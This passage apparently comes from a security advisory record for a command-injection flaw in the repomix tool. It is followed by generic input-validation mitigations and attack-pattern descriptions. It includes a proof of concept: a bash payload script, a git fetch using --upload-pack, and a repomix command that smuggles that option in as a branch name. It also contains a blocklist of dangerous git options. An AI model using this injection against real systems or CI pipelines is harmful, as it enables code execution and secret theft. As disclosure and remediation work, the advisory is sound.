Reproduce)\n\n**1. Create the Payload**\nCreate an executable bash script that writes system execution context to a file.\n*(Reference: Screenshot_2026-05-18_13_02_16.png)*\n\n```bash\ncat \u003e /tmp/malicious-pack \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\necho \"=== RCE EXECUTED ===\" \u003e /tmp/repomix-pwned.txt\nid \u003e\u003e /tmp/repomix-pwned.txt\nEOF\nchmod +x /tmp/malicious-pack\n\n```\n\n**2. Trigger the Vulnerability**\nEstablish a dummy remote and trigger the fetch operation, injecting the `--upload-pack` argument.\n*(Reference: Screenshot_2026-05-18_13_08_36.png)*\n\n```bash\n# Setup dummy bare remote\ngit init --bare /tmp/dummy-remote.git\n\n# Initialize local repo and add remote\nmkdir /tmp/test-fetch \u0026\u0026 cd /tmp/test-fetch\ngit init\ngit remote add origin file:///tmp/dummy-remote.git\n\n# Execute vulnerability\ngit fetch --upload-pack=/tmp/malicious-pack origin 2\u003e\u00261\n\n```\n\n**3. Verify Execution**\nExecution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a `128` exit code.\n\n```bash\ncat /tmp/repomix-pwned.txt\n\n```\n\n*Expected Output:*\n\n```text\n=== RCE EXECUTED ===\nuid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...\n\n```\n\n**End-to-End Execution via Repomix:**\n\n```bash\nrepomix --remote git@github.com:yamadashy/repomix.git --remote-branch \u0027--upload-pack=/tmp/malicious-pack\u0027\n\n```\n\n### Impact\n\n* **Remote Code Execution:** Complete system compromise with the privileges of the user executing `repomix`.\n* **CI/CD Compromise:** If `repomix` is utilized in automated pipelines where `--remote-branch` is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.\n\n### Remediation\n\n**1. Implement Positional Delimiters (Primary Fix)**\nAppend the `--` delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing `remoteBranch`.\n\n```typescript\nawait deps.execFileAsync(\n \u0027git\u0027,\n [\u0027-C\u0027, directory, \u0027fetch\u0027, \u0027--depth\u0027, \u00271\u0027, \u0027origin\u0027, \u0027--\u0027, remoteBranch],\n gitRemoteOpts,\n);\n\n```\n\n**2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)**\nUpdate `execGitShallowClone` to validate `remoteBranch` against the existing `dangerousParams` array.\n\n```typescript\nconst dangerousParams = [\u0027--upload-pack\u0027, \u0027--receive-pack\u0027, \u0027--config\u0027, \u0027--exec\u0027];\n\nif (remoteBranch \u0026\u0026 dangerousParams.some((param) =\u003e remoteBranch.includes(param))) {\n throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);\n}\n\n```\n\n### Attachments \n\n**Screenshot 1:** Payload script created with executable permissions.\n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_02_16\" src=\"https://github.com/user-attachments/assets/a0ada9de-c689-4ed8-9937-dd7faf6e6cc0\" /\u003e\n\n\n**Screenshot 2:** Vulnerable Code \n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_03_44\" src=\"https://github.com/user-attachments/assets/b72c7e05-d857-497a-9ae5-0822f86fa032\" /\u003e\n\n\n**Screenshot 3:** Verifying RCE.\n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_08_36\" src=\"https://github.com/user-attachments/assets/f153545e-e5e8-4165-ac1a-f84efbb1c135\" /\u003e\n\n\n\n\n\n---\n\n### Credits\n\nThis vulnerability was discovered and responsibly disclosed by:\n- **Researcher:** Abhijith S.\n- **GitHub:** [@kakashi-kx](https://github.com/kakashi-kx)\n- **HackerOne/Bugcrowd:** [kakashi4kx](https://hackerone.com/kakashi4kx)",
"id": "GHSA-9mm9-rqhj-j5mx",
"modified": "2026-07-01T19:00:50Z",
"published": "2026-07-01T19:00:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yamadashy/repomix/security/advisories/GHSA-9mm9-rqhj-j5mx"
},
{
"type": "PACKAGE",
"url": "https://github.com/yamadashy/repomix"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection"
}
Mitigation
Strategy: Parameterization
Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
Mitigation
Strategy: Input Validation
Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
Mitigation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
- Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
Mitigation
When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
CAPEC-137: Parameter Injection
An adversary manipulates the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value "myInput&new_param=myValue", then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example.
CAPEC-174: Flash Parameter Injection
An adversary takes advantage of improper data validation to inject malicious global parameters into a Flash file embedded within an HTML document. Flash files can leverage user-submitted data to configure the Flash document and access the embedding HTML document.
CAPEC-41: Using Meta-characters in E-mail Headers to Inject Malicious Payloads
This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.
CAPEC-460: HTTP Parameter Pollution (HPP)
An adversary adds duplicate HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.